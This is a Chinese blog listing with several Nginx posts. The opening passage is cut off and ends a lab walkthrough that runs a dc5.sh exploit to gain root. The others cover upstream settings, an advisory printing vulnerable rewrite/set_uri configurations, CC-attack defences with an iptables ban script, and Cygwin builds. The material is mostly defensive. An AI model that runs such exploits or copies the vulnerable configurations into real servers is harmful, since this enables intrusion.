ff=unix ,否则在执行脚本文件时后出错为dc5.sh增加可执行权限,执行dc5.sh文件,成功获取到root权限cd /tmpchmod +x dc5.shls -l./dc5.sh
2020年04月17日
15 阅读
0 评论
0 点赞
2020-04-05
Nginx中的upstream
upstream参数的相关描述如下:server 反向服务地址和端口weight 权重max_fails 失败多少次,认为主机已挂掉,则踢出fail_timeout 踢出后重新探测时间backup 备用服务max_conns 允许最大连接数slow_start 当节点恢复,不立即加入max_conns可以根据服务的好坏来设置最大连接数,防止挂掉,比如1000,可以设置800upstream tuling { server 127.0.0.1:8050 weight=5 max_conns=800; server 127.0.0.1:8060 weight=1; }max_fails、fail_timeoutmax_fails:失败多少次认为主机已挂掉,则踢出,资源少的话一般设置为2~3次,多的话设置1次max_fails=3, fail_timeout=30s代表在30秒内请求某一应用失败3次,认为该应用宕机,后等待30秒,这期间内不会再把新请求发送到宕机应用,而是直接发到正常的服务器,时间到后再有请求进来继续尝试连接宕机应用且仅尝试1次,如果还是失败,则继续等待30秒……以此循环,直到恢复。upstream tuling { server 127.0.0.1:8080 weight=1 max_fails=1 fail_timeout=20; server 127.0.0.1:8081 weight=1; }关闭掉8080的服务,会发现在20秒内还是访问8080的,20s后才会访问8081
2020年04月05日
2 阅读
0 评论
0 点赞
2020-03-25
【漏洞预警】Nginx/OpenResty 特殊配置下内存泄漏与目录穿越漏洞
漏洞描述Nginx是一个高性能的HTTP和反向代理web服务器,OpenResty是一个基于 Nginx 与 Lua 的高性能Web平台。近日国外安全研究者公开了Nginx/OpenResty在特殊配置下存在内存泄漏或目录穿越漏洞详情。由于Nginx在rewrite功能实现上存在缺陷,以及OpenResty在ngx.req.set_uri()实现上存在缺陷,如果Nginx配置文件中使用了rewrite或者ngx.req.set_uri(),则攻击者可能可以通过构造恶意请求,从而造成内存泄漏或者目录穿越漏洞。影响版本nginx <= v1.17.7openresty <= v1.15.8.2安全建议1. Nginx更新至安全版本>=v1.17.92. 以下是存在漏洞的配置片段,建议用户自检查配置文件,并禁用相关危险配置。location ~ /memleak { rewrite_by_lua_block { ngx.req.read_body(); local args, err = ngx.req.get_post_args(); ngx.req.set_uri( args["url"], true ); } } location ~ /rewrite { rewrite ^.*$ $arg_x; } 相关链接https://www.openwall.com/lists/oss-security/2020/03/18/1https://hackerone.com/reports/513236
2020年03月25日
13 阅读
0 评论
0 点赞
2020-03-22
NGINX防御CC攻击
在讲之前呢,先给大家讲解一下什么是cc攻击:攻击者借助代理服务器生成指向受害主机的合法请求,实现DDOS和伪装就叫:CC(ChallengeCollapsar)。为了防止软件对网站压力测试或者恶意攻击,当服务器遭遇CC攻击时,我们可以快速查看日志,分析其请求的特征,比如User-agent。下面的是某一次CC攻击时的User-agent Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE 3.01)Cache-Control: no-store, must-revalidate几乎没有正常的浏览器会在User-agent中带上“must-revalidate”这样的关键字。所以我们可以以这个为特征进行过滤,将User-agent中带有“must-revalidate”的请求全部拒绝访问:if ($http_user_agent ~ must-revalidate) { return 403; }再用cc攻击软件,全部返回403,用360奇云测访问正常也可以通过以下办法,被动防御Discuz!是使用比较多的一个php论坛程序。以Discuz!7.0为例,程序目录下有比较多的可以直接访问的php文件,但其中最容易受到攻击的一般有index.php(首页)、forumdisplay.php(板块显示)、viewthread.php(帖子显示)。攻击者一般会对这些页面发起大量的请求,导致HTTP服务器连接数耗尽、mysql数据库停止响应,最终导致服务器崩溃。为了防止上述页面被攻击,我们可以设定以下的规则进行防御: http { limit_zone myzone_bbs $binary_remote_addr 10m; limit_req_zone $binary_remote_addr zone=bbs:10m rate=1r/s; … server { … location ~ ^/bbs/(index|forumdisplay|viewthread).php$ { limit_conn myzone_bbs 3; limit_req zone=bbs burst=2 nodelay; root html; fastcgi_pass unix:/dev/shm/php-cgi.sock; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /usr/share/nginx/html$fastcgi_script_name; include fastcgi_params; } } }应用这条规则后,bbs目录下的index.php、forumdisplay.php和viewthread.php这些页面同一个IP只许建立3个连接,并且每秒只能有1个请求(突发请求可以达到2个)。虽然这样的规则一般来说对正常的用户不会产生影响(极少有人在1秒内打开3个页面),但是为了防止影响那些手快的用户访问,可以在nginx中自定义503页面,503页面对用户进行提示,然后自动刷新。在Nginx中自定义503页面:error_page 503 /errpage/503.html;503页面的源代码:<html> < head> < title>页面即将载入....</title> < meta http-equiv=content-type c> < META NAME="ROBOTS" C> < /head> < body bgcolor="#FFFFFF"> < table cellpadding="0" cellspacing="0" border="0" width="700" align="center" height="85%"> < tr align="center" valign="middle"> < td> < table cellpadding="10" cellspacing="0" border="0" width="80%" align="center" style="font-family: Verdana, Tahoma; color: #666666; font-size: 11px"> < tr> < td valign="middle" align="center" bgcolor="#EBEBEB"> < br /><b style="font-size: 16px">页面即将载入</b> < br /><br />你刷新页面的速度过快。请少安毋躁,页面即将载入... < br /><br />[<a href="javascript:window.location.reload();"><font color=#666666>立即重新载入</font></a>] < br /><br /> < /td> < /tr> < /table> < /td> < /tr> < /table> < /body> < /html> < SCRIPT language=javascript> function update() { window.location.reload(); } setTimeout("update()",2000); < /script>2.被动防御虽然主动防御已经抵挡了大多数HTTP GET FLOOD攻击,但是道高一尺魔高一丈,攻击者会总会找到你薄弱的环节进行攻击。所以我们在这里也要介绍一下被动防御的一些方法。1)封IP地址访问者通过浏览器正常访问网站,与服务器建立的连接一般不会超过20个,我们可以通过脚本禁止连接数过大的IP访问。以下脚本通过netstat命令列举所有连接,将连接数最高的一个IP如果连接数超过150,则通过 iptables阻止访问:#!/bin/sh status=`netstat -na|awk '$5 ~ /[0-9]+:[0-9]+/ {print $5}' |awk -F ":" -- '{print $1}' |sort -n|uniq -c |sort -n|tail -n 1` NUM=`echo $status|awk '{print $1}'` IP=`echo $status|awk '{print $2}'` result=`echo "$NUM > 150" | bc` if [ $result = 1 ] then echo IP:$IP is over $NUM, BAN IT! /sbin/iptables -I INPUT -s $IP -j DROP fi 运行crontab -e,将上述脚本添加到crontab每分钟自动运行: 通过apache自带的ab工具进行服务器压力测试: ab -n 1000 -c 100 http://www.nf139.com 测试完成后,我们就可以看到系统中有IP被封的提示: [
[email protected]
~]#tail /var/spool/mail/root Content-Type: text/plain; charset=ANSI_X3.4-1968 Auto-Submitted: auto-generated X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <;PATH=/usr/bin:/bin> X-Cron-Env: <LOGNAME=root> X-Cron-Env: <USER=root> IP:58.246.xx.xx is over 1047, BAN IT!另外还有一种下下策使用Cloudflare的CDN和云锁抗CC模块双管齐下配置危险ip验证码访问和自动验证,如果遭受的攻击太大,可以考虑临时开启5秒盾和云锁的验证码盾
2020年03月22日
12 阅读
0 评论
0 点赞
2020-03-12
Nginx使用cygwin在Windows下编译和安装
Nginx介绍:nginx("engine x") 是一个高性能的 HTTP 和反向代理 服务器,也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的,它已经在该站点运行超过两年半了。Igor 将源代码以类BSD许可证的形式发布。尽管还是测试版,但是,Nginx 已经因为它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名了。1.cygwin环境安装到http://www.cygwin.com/下载setup.exe安装程序,具体安装过程请到google找吧。这里需要注意的是:一定要安装上openssl、pcre与zlib这三个包,因为nginx部分源码需要用到这三个库。2.nginx编译与构建下载源代码包并打开cygwin环境,进入到源码存放地址,解压源码包gzip -d nginx-1.4.3.tar.gz得到nginx-1.4.3.tartar xvf nginx-1.4.3.tar得到新目录nginx-1.4.3cd进去,然后执行./configure --prefix=./nginx可以得到Makefile文件与objs子目录下的多个文件;再执行make命令,这时cd进 去objs子目录,然后ls一下,看到有nginx.exe文件,这就是编译构建后生成的nginx程序,接下来就可以安装导出了。3.安装在环境下cd到源码主目录,执行make install这样就可以把可执行导出到和主目录同级的nginx目录里了,这个目录是刚才执行编译configure时指定的(--prefix= ./nginx)4.运行在环境下cd到nginx/sbin目录,运行nginx.exe正常来说,控制台会回显一条错误信息运行错误: [emerg] 2496#0: the maximum number of files supported by select() is 64这表示FD_SETSIZE的值比nginx配置文件中worker_connections指令所指定的值小,那么怎么解决这个问题呢?第一种解决方法:把ngx_select_module事件处理模块去掉,通过在执行configure时指定参数—without-select_module。第二种解决方法:修改nginx的配置文件(conf/nginx.conf),把这个文件第13行的1024改为64(worker_connections指令的值)。第三种解决方法:在执行configure时指定额外的编译选项(--with-cc-opt=”-D FD_SETSIZE=2048”),这同样也可以解决上面的问题。后记:利用上面方法生成的nginx程序,需要依赖cygwin环境才能运行,那么有什么方法可以不用cygwin环境也能让nginx在Windows下独立运行呢?当前我想到的有两种方法:第1种:首先改变执行configure时指定的—prefix=/cygdrive/c/nginx参数为—prefix=.,同时还加上—sbin-path=nginx这个参数,也就是make install时把nginx安装到c:\nginx-\目录下,nginx运行时从当前目录的conf子目录读取配置、写日志到logs子目录。接下来执行configure、make与make install。然后把nginx运行时所需要用到的DLL找出来,我发现有这几个:cygcrypt-0.dll、cygpcre-0.dll、cygwin1.dll和cygz.dll(这些文件都在cygwin安装目录的bin子目录下);如果启用ssl的话,应该还需要cygssl-.dll和cygcrypto-0.9.8.dll,这个我没有实践过,大家可以试试。接下来把cygcrypt-0.dll、cygpcre-0.dll、cygwin1.dll和cygz.dll拷贝到安装主目录下,同时在该目录下创建logs子目录。最后就可以直接双击nginx.exe来运行nginx了。这时打开浏览器,输入地址:http://127.0.0.1/,如果能看到有“Welcome to nginx!”显示出来就表示nginx已经在运行,如果没有的话就打开logs子目录下的error.log文件,看看到底发生了什么错误。第2种:编译时指定-mno-cygwin选项,这可以生成不需要其它DLL的nginx.exe文件,不过我还没试成功,具体原因也还没找到,如果你试成功了要告诉我一声哟!这两种方法都有一个缺点:虽然nginx已经能独立运行了,但要关闭它,还需要打开cygwin环境,然后ps找到nginx主进程的进程ID,kill掉它;当然也可以用任务管理器强制关闭。不过据我了解在cygwin环境下可以把一个程序编译成Windows服务的,具体怎么做的话要再找找咯!
2020年03月12日
9 阅读
0 评论
0 点赞